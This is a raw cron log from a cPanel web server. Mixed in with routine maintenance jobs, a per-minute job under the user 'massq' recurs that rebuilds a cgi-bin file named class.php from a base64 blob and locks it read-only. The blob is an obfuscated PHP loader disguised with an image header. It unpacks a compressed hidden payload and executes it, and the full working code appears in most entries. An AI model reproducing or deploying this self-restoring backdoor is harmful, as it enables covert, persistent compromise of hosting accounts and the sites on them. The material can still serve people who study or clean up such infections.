Sep  9 11:38:01 server CROND[25436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:39:01 server CROND[25962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:39:01 server CROND[25963]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 11:39:01 server CROND[25965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:39:01 server CROND[25964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:40:01 server CROND[26374]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:40:01 server CROND[26379]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 11:40:01 server CROND[26376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:40:01 server CROND[26377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:40:01 server CROND[26382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:40:01 server CROND[26378]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 11:40:01 server CROND[26381]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:40:01 server CROND[26380]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 11:41:01 server CROND[27204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:41:01 server CROND[27205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:41:01 server CROND[27206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:42:01 server CROND[27582]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:42:01 server CROND[27583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:42:01 server CROND[27581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:42:01 server CROND[27585]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 11:43:01 server CROND[28071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:43:01 server CROND[28072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:43:01 server CROND[28073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:44:01 server CROND[28455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:44:01 server CROND[28456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:44:01 server CROND[28457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:45:01 server CROND[28845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:45:01 server CROND[28847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:45:01 server CROND[28851]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 11:45:01 server CROND[28849]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:45:01 server CROND[28852]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:45:01 server CROND[28848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:45:01 server CROND[28850]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 11:46:01 server CROND[29667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:46:01 server CROND[29668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:46:01 server CROND[29669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:47:01 server CROND[30048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:47:01 server CROND[30049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:47:01 server CROND[30050]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:48:01 server CROND[30529]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:48:01 server CROND[30530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:48:01 server CROND[30531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:49:01 server CROND[30917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:49:01 server CROND[30918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:49:01 server CROND[30919]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:50:01 server CROND[31304]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 11:50:01 server CROND[31310]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 11:50:01 server CROND[31316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:50:01 server CROND[31318]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 11:50:01 server CROND[31320]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:50:01 server CROND[31315]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
